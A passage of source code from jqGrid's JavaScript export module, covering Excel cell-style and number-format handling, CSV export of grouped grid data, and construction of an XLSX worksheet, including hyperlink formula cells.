xfId="0" applyNumberFormat="1"/>'+ '<xf numFmtId="164" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyNumberFormat="1"/>'+ '<xf numFmtId="165" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyNumberFormat="1"/>'+ '<xf numFmtId="166" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyNumberFormat="1"/>'+ '<xf numFmtId="167" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyNumberFormat="1"/>'+ '<xf numFmtId="168" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyNumberFormat="1"/>'+ '<xf numFmtId="169" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyNumberFormat="1"/>'+ '<xf numFmtId="3" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyNumberFormat="1"/>'+ '<xf numFmtId="4" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyNumberFormat="1"/>'+ '<xf numFmtId="1" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyNumberFormat="1"/>'+ '<xf numFmtId="2" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyNumberFormat="1"/>'+ '<xf numFmtId="170" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyNumberFormat="1"/>'+ '<xf numFmtId="49" fontId="0" fillId="0" borderId="0" xfId="0" applyNumberFormat="1"/>'+ '</cellXfs>'+ '<cellStyles count="1">'+ '<cellStyle name="Normal" xfId="0" builtinId="0" />'+ '</cellStyles>'+ '<dxfs count="0" />'+ '<tableStyles count="0" defaultTableStyle="TableStyleMedium9" defaultPivotStyle="PivotStyleMedium4" />'+ '</styleSheet>' }, excelParsers : [ { match: /^\-?\d+\.\d%$/, style: 60, fmt: function (d) { return d/100; } }, // Precent with d.p. { match: /^\-?\d+\.?\d*%$/, style: 56, fmt: function (d) { return d/100; } }, // Percent { match: /^\-?\$[\d,]+.?\d*$/, style: 57 }, // Dollars { match: /^\-?£[\d,]+.?\d*$/, style: 58 }, // Pounds { match: /^\-?€[\d,]+.?\d*$/, style: 59 }, // Euros { match: /^\-?\d+$/, style: 65 }, // Numbers without thousand separators { match: /^\-?\d+\.\d{2}$/, style: 66 }, // Numbers 2 d.p. without thousands separators { match: /^\([\d,]+\)$/, style: 61, fmt: function (d) { return -1 * d.replace(/[\(\)]/g, ''); } }, // Negative numbers indicated by brackets { match: /^\([\d,]+\.\d{2}\)$/, style: 62, fmt: function (d) { return -1 * d.replace(/[\(\)]/g, ''); } }, // Negative numbers indicated by brackets - 2d.p. { match: /^\-?[\d,]+$/, style: 63 }, // Numbers with thousand separators { match: /^\-?[\d,]+\.\d{2}$/, style: 64 }, // Numbers with 2 d.p. and thousands separators { match: /^\d{4}\-\d{2}\-\d{2}$/, style: 67 }, // Dates { match: /(https?:\/\/(?:www\.|(?!www))[^\s\.]+\.[^\s]{2,}|www\.[^\s]+\.[^\s]{2,})/gi, style : 4} // hyperlink ], addExcelStyle : function ( obj, options, alignment, styleSh) { options = $.extend({ numFmtId : "0", fontId: "0", fillId: "0", borderId: "0", applyFont:"1", applyFill:"1", applyBorder:"1", xfId:"0", applyNumberFormat:"0", applyAlignment : "0" }, options || {}); alignment = $.extend({ horizontal: "left", // left, center, right, fill, justified indent: "0", // indent from left shrinkToFit : "1", //"0" textRotation : "0", // in degree vertical : "center", // top, bottom wrapText : "0" }, alignment || {}); if( $.isEmptyObject( obj )) { obj.excel_parsers = true; } //var styleSh = $.parseXML( $.jgrid.excelStrings['xl/styles.xml']), //xlsx.xl["styles.xml"]; var formats = styleSh.getElementsByTagName("numFmts")[0], celsX = styleSh.getElementsByTagName("cellXfs")[0]; var format=null, style=null; for(var k in obj) { if(obj.hasOwnProperty(k)) { if(k.indexOf('format') !== -1) { format = k; } if(k.indexOf('style') !== -1) { style = k; } } } if(style && !obj[style]) { // add the sformatter var count = 0, maxfmtid =0, fmnt, mycell; if(format && obj[format]) { fmnt= $(formats.getElementsByTagName("numFmt")); $.each( fmnt, function(i,n) { count++; maxfmtid = Math.max(maxfmtid, parseInt( $(n).attr("numFmtId"), 10) ); }); mycell = $.jgrid.makeNode( styleSh , "numFmt", {attr: {numFmtId : maxfmtid + 1, formatCode : obj[format] } }); formats.appendChild( mycell ); $(formats).attr("count", count + 1); } var numid = maxfmtid !== 0 ? maxfmtid + 1 +"" : "0"; count = 0; options.numFmtId = numid; mycell = options.applyAlignment === "1" ? $.jgrid.makeNode( styleSh , "xf", { attr: options , children: [ $.jgrid.makeNode( styleSh, 'alignment', { attr : alignment } ) ] }) : $.jgrid.makeNode( styleSh , "xf", { attr: options }); celsX.appendChild( mycell ); count = $('cellXfs xf', styleSh).length; $(celsX).attr("count", count); obj[style] = count - 1; } return obj; }, newExcelStyle : function ( xlsx, options ) { options = $.extend(true, { font : { size : 11, name : 'Calibri', options :""}, // options <b/> <i/> <u/> color : { patternType : "solid", fgColor : "FFFFFFF", bgColor : 64 } // bgColor if number 0-64 }, options || {}); //PatterType can be one of the following /* none, solid,darkDown,darkGray,darkGrid,darkHorizontal,darkTrellis, darkUp,darkVertical,gray0625,gray125,lightDown,lightGray,lightGrid lightHorizontal,lightTrellis,lightUp,lightVertical,mediumGray */ //styleSheet.childNodes[0].childNodes[0] ==> number formats <numFmts count="6"> </numFmts> //styleSheet.childNodes[0].childNodes[1] ==> fonts <fonts count="5" x14ac:knownFonts="1"> </fonts> //styleSheet.childNodes[0].childNodes[2] ==> fills <fills count="6"> </fills> //styleSheet.childNodes[0].childNodes[3] ==> borders <borders count="2"> </borders> //styleSheet.childNodes[0].childNodes[4] ==> cell style xfs <cellStyleXfs count="1"> </cellStyleXfs> //styleSheet.childNodes[0].childNodes[5] ==> cell xfs <cellXfs count="69"> </cellXfs> //on the last line we have the 69 currently built in styles (0 - 68) var sSh = xlsx.xl['styles.xml']; var lastXfIndex = $('cellXfs xf', sSh).length - 1; var lastFontIndex = $('fonts font', sSh).length - 1; var lastFillIndex = $('fills fill', sSh).length - 1; var font1 = '<font>'+ '<sz val="'+options.font.size+'" />'+ '<name val="'+options.font.name+'" />'+ options.font.options + '</font>'; sSh.childNodes[0].childNodes[1].innerHTML += font1; //new font var bgcolor = 'indexed='; if(parseInt(options.color.bgColor,10) >= 0 ) { bgcolor = 'rgb='; } bgcolor += '"'+options.color.bgColor+'"'; var color1 = '<fill>'+ '<patternFill patternType="'+options.color.patternType+'">'+ '<fgColor rgb="'+options.color.fgColor+'" />'+ '<bgColor ' + bgcolor+' />'+ '</patternFill>'+ '</fill>'; sSh.childNodes[0].childNodes[2].innerHTML += color1; //new color var s1 = '<xf numFmtId="0" fontId="'+(lastFontIndex+1)+'" fillId="'+(lastFillIndex+1)+'" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyAlignment="1"></xf>'; sSh.childNodes[0].childNodes[5].innerHTML += s1; return (lastXfIndex + 1); } }); /******************************************************************** * * due to speed, every export method will have separate module * to collect grouped data * *********************************************************************/ $.jgrid.extend({ exportToCsv : function ( p ) { p = $.extend(true, { separator: ",", separatorReplace : " ", quote : '"', escquote : '"', newLine : "\r\n", // navigator.userAgent.match(/Windows/) ? '\r\n' : '\n'; replaceNewLine : " ", includeCaption : true, includeLabels : true, includeGroupHeader : true, includeFooter: true, includeHeader: true, fileName : "jqGridExport.csv", mimetype : "text/csv;charset=utf-8", returnAsString : false, onBeforeExport : null, treeindent : ' ', visibleTreeNodes : false, loadIndicator : true // can be a function }, p || {}); var ret =""; this.each(function(){ p._regexsep = new RegExp(p.separator, "g"); p._regexquot = new RegExp(p.quote, "g"); var $t = this, // get the filtered data data1 = $t.p.treeGrid ? $($t).jqGrid('getRowData', null, true, p.treeindent, p.visibleTreeNodes) : $t.addLocalData( true ), //this.addLocalData( true ), dlen = data1.length, cm = $t.p.colModel, cmlen = cm.length, clbl = $t.p.colNames, i, j=0, row, str = '' , tmp, k, cap = "", hdr = "", ftr="", lbl="", albl=[], htr=""; function groupToCsv (grdata, p) { var str="", grp = $t.p.groupingView, cp=[], len =grp.groupField.length, cm = $t.p.colModel, colspans = cm.length, toEnd = 0; $.each(cm, function (i,n){ var ii; for(ii=0;ii<len;ii++) { if(grp.groupField[ii] === n.name ) { cp[ii] = i; break; } } }); function findGroupIdx( ind , offset, grp) { var ret = false, i; if(offset===0) { ret = grp[ind]; } else { var id = grp[ind].idx; if(id===0) { ret = grp[ind]; } else { for(i=ind;i >= 0; i--) { if(grp[i].idx === id-offset) { ret = grp[i]; break; } } } } return ret; } function buildSummaryTd(i, ik, grp, foffset) { var fdata = findGroupIdx(i, ik, grp), //cm = $t.p.colModel, vv, grlen = fdata.cnt, k, retarr= new Array(p.collen), j=0; for(k=foffset; k<colspans;k++) { if(!cm[k]._expcol) { continue; } var tplfld = "{0}"; $.each(fdata.summary,function(){ if(this.nm === cm[k].name) { if(cm[k].summaryTpl) { tplfld = cm[k].summaryTpl; } vv = this.v; if(typeof this.st === 'string' && this.st.toLowerCase() === 'avg') { if(this.sd && this.vd) { vv = (this.v/this.vd); } else if(this.v && grlen > 0) { vv = (this.v/grlen); } } try { this.groupCount = fdata.cnt; this.groupIndex = fdata.dataIndex; this.groupValue = fdata.value; vv = $t.formatter('', vv, k, this); } catch (ef) { vv = this.v; } retarr[j] = $.jgrid.formatCellCsv( $.jgrid.stripHtml( $.jgrid.template(tplfld,vv) ), p ) ; return false; } }); j++; } return retarr; } var sumreverse = $.makeArray(grp.groupSummary), gv, k; sumreverse.reverse(); if($t.p.datatype === 'local' && !$t.p.loadonce) { $($t).jqGrid('groupingSetup'); var groupingPrepare = $.jgrid.getMethod("groupingPrepare"); for(var ll=0; ll < dlen; ll++) { groupingPrepare.call($($t), data1[ll], ll); } } $.each(grp.groups,function(i,n){ toEnd++; try { if (Array.isArray(grp.formatDisplayField) && $.jgrid.isFunction(grp.formatDisplayField[n.idx])) { gv = grp.formatDisplayField[n.idx].call($t, n.displayValue, n.value, $t.p.colModel[cp[n.idx]], n.idx, grp); } else { gv = $t.formatter('', n.displayValue, cp[n.idx], n.value ); } } catch (egv) { gv = n.displayValue; } var grpTextStr = ''; if($.jgrid.isFunction(grp.groupText[n.idx])) { grpTextStr = grp.groupText[n.idx].call($t, gv, n.cnt, n.summary); } else { grpTextStr = $.jgrid.template(grp.groupText[n.idx], gv, n.cnt, n.summary); } if( !(typeof grpTextStr ==='string' || typeof grpTextStr ==='number' ) ) { grpTextStr = gv; } var arr; if(grp.groupSummaryPos[n.idx] === 'header') { arr = buildSummaryTd(i, 0, grp.groups, 0 /*grp.groupColumnShow[n.idx] === false ? (mul ==="" ? 2 : 3) : ((mul ==="") ? 1 : 2)*/ ); } else { arr = new Array(p.collen); } arr[0] = $.jgrid.formatCellCsv( $.jgrid.stripHtml( grpTextStr ), p); str += arr.join( p.separator ) + p.newLine; var leaf = len-1 === n.idx; if( leaf ) { var gg = grp.groups[i+1], kk, ik, offset = 0, sgr = n.startRow, to, end = gg !== undefined ? gg.startRow : grp.groups[i].startRow + grp.groups[i].cnt; for(kk=sgr;kk<end;kk++) { if(!grdata[kk - offset]) { break; } to = grdata[kk - offset]; k = 0; for(ik = 0; ik < cm.length; ik++) { if(cm[ik]._expcol) { arr[k] = $.jgrid.formatCellCsv( $.jgrid.formatCell( $.jgrid.getAccessor(to, cm[ik].name), ik, to, cm[ik], $t, 'csv' ) , p); k++; } } str += arr.join( p.separator ) + p.newLine; } if(grp.groupSummaryPos[n.idx] !== 'header') { var jj; if (gg !== undefined) { for (jj = 0; jj < grp.groupField.length; jj++) { if (gg.dataIndex === grp.groupField[jj]) { break; } } toEnd = grp.groupField.length - jj; } for (ik = 0; ik < toEnd; ik++) { if(!sumreverse[ik]) { continue; } arr = buildSummaryTd(i, ik, grp.groups, 0); str += arr.join( p.separator ) + p.newLine; } toEnd = jj; } } }); return str; } if( $.jgrid.isFunction( p.loadIndicator )) { p.loadIndicator.call($t,'show'); } else if(p.loadIndicator) { $($t).jqGrid("progressBar", {method:"show", loadtype : $t.p.loadui, htmlcontent: $.jgrid.getRegional($t,'defaults.loadtext') }); } // end group function var def = [], key; $.each(cm,function(i,n) { n._expcol = true; if(n.exportcol === undefined) { if(n.hidden) { n._expcol = false; } } else { n._expcol = n.exportcol; } if(n.name === 'cb' || n.name === 'rn' || n.name === 'subgrid' || n.name === 'sc') { n._expcol = false; } if(n._expcol) { albl.push( $.jgrid.formatCellCsv( clbl[i], p) ); def.push( n.name ); // clbl[i]; } }); if(p.includeLabels) { lbl = albl.join( p.separator ) + p.newLine; } p.collen = albl.length; if( $t.p.grouping ) { var savlcgr = $t.p.groupingView._locgr ? true : false; $t.p.groupingView._locgr = false; str += groupToCsv(data1, p); $t.p.groupingView._locgr = savlcgr; } else { while(j < dlen) { row = data1[j]; tmp = []; k =0; for(i = 0; i < cmlen; i++) { if(cm[i]._expcol) { tmp[k] = $.jgrid.formatCellCsv( $.jgrid.formatCell( $.jgrid.getAccessor(row, cm[i].name) , i, row, cm[i], $t, 'csv' ), p ); k++; } } str += tmp.join( p.separator ) + p.newLine; j++; } } data1 = null; // free // get the column length. tmp = new Array(p.collen); if(p.includeCaption && $t.p.caption) { j=p.collen; while(--j) {tmp[j]="";} tmp[0] = $.jgrid.formatCellCsv( $t.p.caption, p ); cap += tmp.join( p.separator ) + p.newLine; } if(p.includeGroupHeader && $($t).jqGrid('isGroupHeaderOn')) { var gh = $t.p.groupHeader; for (i=0;i < gh.length; i++) { var ghdata = gh[i].groupHeaders; j = 0; tmp = []; for(key=0; key<def.length; key++ ) { //if(!def.hasOwnProperty( key )) { // continue; //} tmp[j] = ''; for(k=0;k<ghdata.length;k++) { if(ghdata[k].startColumnName === def[key]) { tmp[j]= $.jgrid.formatCellCsv( ghdata[k].titleText, p); } } j++; } hdr += tmp.join( p.separator ) + p.newLine; } } var hlen, il; if(p.includeFooter && $t.p.footerrow) { // already formated hlen = $($t).jqGrid("footerData", "getlength"); var frows, fc; for(il=0;il<hlen;il++) { frows = $($t).jqGrid("footerData", "get", null, false, il, false); i=0; tmp=[]; while(i < p.collen){ fc = def[i]; if(frows.hasOwnProperty(fc) ) { tmp.push( $.jgrid.formatCellCsv( $.jgrid.stripHtml( frows[fc] ), p ) ); } i++; } ftr += tmp.join( p.separator ) + p.newLine; } } if(p.includeHeader && $t.p.headerrow) { var hrows, hc; hlen = $($t).jqGrid("headerData", "getlength"); for(il=0;il<hlen;il++) { hrows = $($t).jqGrid("headerData", "get", null, false, il, false); i=0; tmp=[]; while(i < p.collen){ hc = def[i]; if(hrows.hasOwnProperty(hc) ) { tmp.push( $.jgrid.formatCellCsv( $.jgrid.stripHtml( hrows[hc] ), p ) ); } i++; } htr += tmp.join( p.separator ) + p.newLine; } } ret = cap + hdr + lbl + htr + str + ftr; if( $.jgrid.isFunction( p.loadIndicator )) { p.loadIndicator.call($t,'hide'); } else if(p.loadIndicator) { $($t).jqGrid("progressBar", {method:"hide", loadtype : $t.p.loadui }); } if($.jgrid.isFunction( p.onBeforeExport) ) { ret = p.onBeforeExport.call($t,ret); if(!ret) { throw "Before export does not return data!"; } } if (p.returnAsString) { //return ret; } else { // add BOM fix Excel if(p.mimetype.toUpperCase().indexOf("UTF-8") !== -1) { ret = '\ufeff' + ret; } $.jgrid.saveAs( ret, p.fileName, { type : p.mimetype }); } }); return ret; }, /* * * @param object o - settings for the export * @returns excel 2007 document * The method requiere jsZip lib in order to create excel document */ exportToExcel : function ( o ) { o = $.extend(true, { includeLabels : true, includeGroupHeader : true, includeFooter: true, includeHeader: true, fileName : "jqGridExport.xlsx", mimetype : "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet", maxlength : 40, // maxlength for visible string data onBeforeExport : null, customizeData : null, replaceStr : null, treeindent : ' ', visibleTreeNodes : false, loadIndicator : true // can be a function }, o || {} ); this.each(function() { var $t = this, es = $.jgrid.excelStrings, rowPos = 0, rels = $.parseXML( es['xl/worksheets/sheet1.xml']), relsGet = rels.getElementsByTagName( "sheetData" )[0], styleSh = $.parseXML( es['xl/styles.xml']), //xlsx.xl["styles.xml"]; //= styleSh.getElementsByTagName("numFmts")[0], //celsX = styleSh.getElementsByTagName("cellXfs")[0], xlsx = { _rels: { ".rels": $.parseXML( es['_rels/.rels']) }, xl: { _rels: { "workbook.xml.rels": $.parseXML( es['xl/_rels/workbook.xml.rels']) }, "workbook.xml": $.parseXML( es['xl/workbook.xml']), "styles.xml": styleSh, //$.parseXML( es['xl/styles.xml']), "worksheets": { "sheet1.xml": rels } }, "[Content_Types].xml": $.parseXML( es['[Content_Types].xml']) }, cm = $t.p.colModel, i=0, j, ien, data = { body : $t.p.treeGrid ? $($t).jqGrid('getRowData', null, true, o.treeindent, o.visibleTreeNodes) : $t.addLocalData( true ), header : [], footer : [], width : [], map : [], parser :[], labels : [], hidden : [], mergecell:[] }; var defaultHeaderStyle = $.jgrid.addExcelStyle( {excel_header_style:""}, {fontId :"2", applyAlignment : "1"} , {horizontal: "center", vertical :"center"}, styleSh).excel_header_style; for ( j=0, ien=cm.length ; j<ien ; j++ ) { cm[j]._expcol = true; if(cm[j].exportcol === undefined) { if(cm[j].hidden) { cm[j]._expcol = false; } } else { cm[j]._expcol = cm[j].exportcol; } if(cm[j]._colspancell === undefined) { cm[j]._colspancell = false; } if( $.jgrid.isServiceCol(cm[j].name) || !cm[j]._expcol ) { data.hidden.push(cm[j].name); continue; } data.header[i] = cm[j].name; data.width[ i ] = 5; data.map[i] = j; //data.parser[j] = $.jgrid.addExcelStyle( cm[j].hasOwnProperty('exportoptions') ? $.extend( {}, cm[j].exportoptions ) : {} ); data.labels[i] = $t.p.colNames[j]; if(cm[j].hasOwnProperty('exportoptions')) { var ef={}, ehf={}; if(cm[j].exportoptions.excel_format) { ef = $.jgrid.addExcelStyle( { excel_format : cm[j].exportoptions.excel_format, excel_style : cm[j].exportoptions.excel_style || ""}, {}, {}, styleSh ); } if(cm[j].exportoptions.excel_header_format) { ehf = $.jgrid.addExcelStyle( { excel_header_format : cm[j].exportoptions.excel_header_format, excel_header_style : cm[j].exportoptions.excel_header_style || ""}, {fontId:"2",applyAlignment:"1" },{horizontal:"center"}, styleSh ); } data.parser[j] = $.extend (ef,ehf); if(cm[j].exportoptions.replace_format) { data.parser[j].replace_format = cm[j].exportoptions.replace_format; } if(cm[j].exportoptions.replace_header_format) { data.parser[j].replace_header_format = cm[j].exportoptions.replace_header_format; } } else { data.parser[j] = { excel_parsers : true }; } i++; } if ( o.includeFooter || $t.p.footerrow) { var dfl = $($t).jqGrid("footerData", "getlength"), dil, dfooter; for(dil=0; dil<dfl; dil++) { dfooter = $($t).jqGrid("footerData", "get", null, false, dil, false); for( i in dfooter) { if(dfooter.hasOwnProperty(i)) { dfooter[i] = $.jgrid.stripHtml(dfooter[i]); } } data.footer.push( dfooter); } } if( $.jgrid.isFunction(o.customizeData) ) { o.customizeData.call($t, data); } function _replStrFunc (v) { return v.replace(/</g, '<') .replace(/>/g, '>') .replace(/[\x00-\x09\x0B\x0C\x0E-\x1F\x7F-\x9F]/g, ''); } function _makeCellSpecial ( p, v ) { return $.jgrid.makeNode( rels, 'c', { attr: p, children: [ $.jgrid.makeNode( rels, 'v', { text: v } ) ] }); } function _makeCellFunction ( p, v ) { return $.jgrid.makeNode( rels, 'c', { attr: p, children: [ $.jgrid.makeNode( rels, 'f', { text: v } ) ] }); } function _makeCellString ( cellId, text, estyle ) { if( estyle === undefined) { estyle = 68; } return $.jgrid.makeNode( rels, 'c', { attr: { t: 'inlineStr', r: cellId, s: estyle }, children:{ row: $.jgrid.makeNode( rels, 'is', { children: { row: $.jgrid.makeNode( rels, 't', { text: text} ) } }) } } ); } function linkParse(strLinkHTML) { var oDiv, oNode; (oDiv = document.createElement('div')).innerHTML = strLinkHTML; oNode = oDiv.firstChild; if(oNode.nodeName === 'A' ) { return [oNode.href,oNode.text]; } else if (oNode.nodeName === '#text') { return [oNode.textContent,oNode.textContent]; } return false; } var _replStr = $.jgrid.isFunction(o.replaceStr) ? o.replaceStr : _replStrFunc, currentRow, rowNode, addRow = function ( row, header, labels, skipfirstcol ) { if(labels===undefined) { labels = false; } if(skipfirstcol===undefined) { skipfirstcol = false; } currentRow = rowPos+1; rowNode = $.jgrid.makeNode( rels, "row", { attr: {r:currentRow} } ); var maxieenum = 15, text, omit; for ( var i =0; i < data.header.length; i++) { // key = cm[i].name; // Concat both the Cell Columns as a letter and the Row of the cell. var cellId = $.jgrid.excelCellPos(i) + '' + currentRow, cell, match, v= (Array.isArray(row) && header) ? data.labels[i] : $.jgrid.getAccessor( row, data.header[i] ); if ( v == null ) { v = ''; } if(!header) { omit = (i===0 && skipfirstcol); v = omit || (skipfirstcol && v==='') ? v : $.jgrid.formatCell( v, data.map[i], row, cm[data.map[i]], $t, 'excel'); // convert whitespace from formatter to empty string if(v && (v===' ' || v===' ' || (v.length===1 && v.charCodeAt(0)===160))) { v = ''; } } data.width[i] = Math.max(data.width[i], Math.min(parseInt(v.toString().length,10), o.maxlength) ); cell = null; var expo = data.parser[data.map[i]]; if( header && labels) { if(expo.replace_header_format) { v = expo.replace_header_format(v); } if(expo.excel_header_style !== undefined) { if(expo.excel_header_style === 'text') { cell = _makeCellString( cellId, v); } else if (expo.excel_header_style <= 55) { cell = _makeCellString( cellId, v, expo.excel_header_style); //cell = _makeCellSpecial( {r: cellId,s: expo.excel_style}, v ); } else { cell = _makeCellSpecial( {r: cellId,s: expo.excel_header_style}, v ); } } else { cell = _makeCellString( cellId, v, defaultHeaderStyle); } rowNode.appendChild( cell ); } else if( expo.excel_parsers === true && !cell) { for ( var j=0, jen=$.jgrid.excelParsers.length ; j<jen ; j++ ) { var special = $.jgrid.excelParsers[j]; if ( v.match && ! v.match(/^0\d+/) && v.match( special.match ) ) { var a = v; v = v.replace(/[^\d\.\-]/g, ''); if ( special.fmt ) { v = special.fmt( v ); } if(special.style === 67) { //Dates cell = _makeCellSpecial( { t: 'd', r: cellId, s: special.style }, v); } else if(special.style === 4) { // hyperlink v = linkParse (a); if(v) { cell = _makeCellFunction( { t: 'str', r: cellId, s: special.style }, 'HYPERLINK(\"'+v[0]+'\",\"'+v[1]+'\")'); } else { cell = _makeCellString( cellId, a); } } else { if( $.inArray( special.style, ["63", "64", "65", "66"]) ) { // Numbers if( v.toString().length > maxieenum ) { text = ! a.replace ? a : _replStr(a); cell = _makeCellString( cellId, text); rowNode.appendChild( cell ); break; } } cell = _makeCellSpecial( {r: cellId,s: special.style}, v ); } rowNode.appendChild( cell ); break; } } } else if( expo.excel_style !== undefined && !header && !cell) { if(expo.replace_format) { v = expo.replace_format(v); } if(expo.excel_style === 'text') { cell = _makeCellString( cellId, v); } else if (expo.excel_style <= 55) { cell = _makeCellString( cellId, v, expo.excel_style); //cell = _makeCellSpecial( {r: cellId,s: expo.excel_style}, v ); } else { cell = _makeCellSpecial( {r: cellId,s: expo.excel_style}, v ); } rowNode.appendChild( cell ); } if( ! cell ) { // Detect numbers - don't match numbers with leading zeros or a negative if(v.match) { match = v.match(/^-?([1-9]\d+)(\.(\d+))?$/); } if ( (typeof v === 'number' && v.toString().length <= maxieenum) || ( match && (match[1].length + (match[2] ? match[3].length : 0) <= maxieenum)) ) { cell = _makeCellSpecial( {t: 'n', r: cellId }, v ); } else { // Replace non standard characters for text output text = ! v.replace ? v : _replStr(v); cell = _makeCellString( cellId, text); } rowNode.appendChild( cell ); } } relsGet.appendChild(rowNode); rowPos++; }; //========================================================================= function groupToExcel ( grdata ) { var grp = $t.p.groupingView, cp=[], len =grp.groupField.length, colspans = cm.length, toEnd = 0; $.each(cm, function (i,n){ var ii; for(ii=0;ii<len;ii++) { if(grp.groupField[ii] === n.name ) { cp[ii] = i; break; } } }); function findGroupIdx( ind , offset, grp) { var ret = false, i; if(offset===0) { ret = grp[ind]; } else { var id = grp[ind].idx; if(id===0) { ret = grp[ind]; } else { for(i=ind;i >= 0; i--) { if(grp[i].idx === id-offset) { ret = grp[i]; break; } } } } return ret; } function buildSummaryTd(i, ik, grp, foffset) { var fdata = findGroupIdx(i, ik, grp), //cm = $t.p.colModel, vv, grlen = fdata.cnt, k, retarr = emptyData(data.header); for(k=foffset; k<colspans;k++) { if(!cm[k]._expcol) { continue; } var tplfld = "{0}"; $.each(fdata.summary,function(){ if(this.nm === cm[k].name) { if(cm[k].summaryTpl) { tplfld = cm[k].summaryTpl; } vv = this.v; if(typeof this.st === 'string' && this.st.toLowerCase() === 'avg') { if(this.sd && this.vd) { vv = (this.v/this.vd); } else if(this.v && grlen > 0) { vv = (this.v/grlen); } } try { this.groupCount = fdata.cnt; this.groupIndex = fdata.dataIndex; this.groupValue = fdata.value; //vv = $t.formatter('', this.v, k, this); //vv = this.v; } catch (ef) { vv = this.v; } retarr[this.nm] = $.jgrid.stripHtml( $.jgrid.template(tplfld,vv) ); return false; } }); } return retarr; } function emptyData ( d ) { var clone = {}; for(var key=0;key<d.length; key++ ) { clone[ d[key] ] = ""; } return clone; } var sumreverse = $.makeArray(grp.groupSummary), gv; sumreverse.reverse(); if($t.p.datatype === 'local' && !$t.p.loadonce) { $($t).jqGrid('groupingSetup'); var groupingPrepare = $.jgrid.getMethod("groupingPrepare"); for(var ll=0; ll < data.body.length; ll++) { groupingPrepare.call($($t), data.body[ll], ll); } } $.each(grp.groups,function(i,n){ toEnd++; try { if (Array.isArray(grp.formatDisplayField) && $.jgrid.isFunction(grp.formatDisplayField[n.idx])) { gv = grp.formatDisplayField[n.idx].call($t, n.displayValue, n.value, $t.p.colModel[cp[n.idx]], n.idx, grp); } else { gv = $t.formatter('', n.displayValue, cp[n.idx], n.value ); } } catch (egv) { gv = n.displayValue; } var grpTextStr = ''; if($.jgrid.isFunction(grp.groupText[n.idx])) { grpTextStr = grp.groupText[n.idx].call($t, gv, n.cnt, n.summary); } else { grpTextStr = $.jgrid.template(grp.groupText[n.idx], gv, n.cnt, n.summary); } if( !(typeof grpTextStr ==='string' || typeof grpTextStr ==='number' ) ) { grpTextStr = gv; } var arr; if(grp.groupSummaryPos[n.idx] === 'header') { arr = buildSummaryTd(i, 0, grp.groups, 0 /*grp.groupColumnShow[n.idx] === false ? (mul ==="" ? 2 : 3) : ((mul ==="") ? 1 : 2)*/ ); } else { arr = emptyData(data.header); } var fkey = Object.keys(arr); arr[fkey[0]] = $.jgrid.stripHtml( new Array(n.idx*5).join(' ') + grpTextStr ); addRow( arr, false, false, true ); var leaf = len-1 === n.idx; if( leaf ) { var gg = grp.groups[i+1], kk, ik, offset = 0, sgr = n.startRow, end = gg !== undefined ? gg.startRow : grp.groups[i].startRow + grp.groups[i].cnt; for(kk=sgr;kk<end;kk++) { if(!grdata[kk - offset]) { break; } var to = grdata[kk - offset]; addRow( to, false ); } if(grp.groupSummaryPos[n.idx] !== 'header') { var jj; if (gg !== undefined) { for (jj = 0; jj < grp.groupField.length; jj++) { if (gg.dataIndex === grp.groupField[jj]) { break; } } toEnd = grp.groupField.length - jj; } for (ik = 0; ik < toEnd; ik++) { if(!sumreverse[ik]) { continue; } arr = buildSummaryTd(i, ik, grp.groups, 0); addRow( arr, false, false, true ); } toEnd = jj; } } }); } //============================================================================ if( $.jgrid.isFunction( o.loadIndicator )) { o.loadIndicator.call($t, 'show'); } else if(o.loadIndicator) { $($t).jqGrid("progressBar", {method:"show", loadtype : $t.p.loadui, htmlcontent: $.jgrid.getRegional($t,'defaults.loadtext') }); } $( 'sheets sheet', xlsx.xl['workbook.xml'] ).attr( 'name', o.sheetName ); var mrow =0, gh , mergecell=[],key, l, clone ={}, ind, ghdata, start, end; if(o.includeGroupHeader && $($t).jqGrid('isGroupHeaderOn') ) { gh = $t.p.groupHeader; for (l = 0; l < gh.length; l++) { ghdata = gh[l].groupHeaders; var colspan = gh[l].useColSpanStyle && gh.length === 1, colToSkip=[], ghputin = [], colInHeader = [], k, nok, cpos, fk; mrow++; // column to skip if(colspan) { for(k = 0; k < ghdata.length; k++) { key = ghdata[k].startColumnName; nok = ghdata[k].numberOfColumns; cpos = $.jgrid.getElemByAttrVal (cm, 'name', key, true) ; for(fk = cpos; fk < cpos + ghdata[k].numberOfColumns;fk++) { colInHeader[cm[fk].name] = key; ind = data.header.indexOf(cm[fk].name); if( ind !== -1) { colToSkip.push(ind); } } } } for(j = 0; j < data.header.length; j++ ) { key = data.header[j]; clone[key] = colspan ? data.labels[j] : ""; start = -1; end = -1; for(k = 0; k < ghdata.length; k++) { if(ghdata[k].startColumnName === key) { ghputin.push(key); clone[key] = ghdata[k].titleText; nok = ghdata[k].numberOfColumns; cpos = $.jgrid.getElemByAttrVal (cm, 'name', key, true) ; for(fk = cpos; fk < cpos + ghdata[k].numberOfColumns;fk++) { if(cm[fk].hidden === true) { nok--; } } start = $.jgrid.excelCellPos(j) + mrow; end = $.jgrid.excelCellPos(j+ nok - 1) + mrow; mergecell.push({ ref: start+":"+end }); } } if(start === -1 && end === -1 && colspan && colToSkip.indexOf(j) === -1) { start = $.jgrid.excelCellPos(j) + mrow; end = $.jgrid.excelCellPos(j) + (mrow + 1); mergecell.push({ ref: start+":"+end }); } } // we are lost - need to find way if(ghputin.length < ghdata.length) { for(k=0;k < data.hidden.length;k++) { var icol = $.jgrid.inColumnHeader(data.hidden[k], ghdata); // if hidden startColumnName if(icol >= 0 ) { key = data.hidden[k]; for(var key2 in 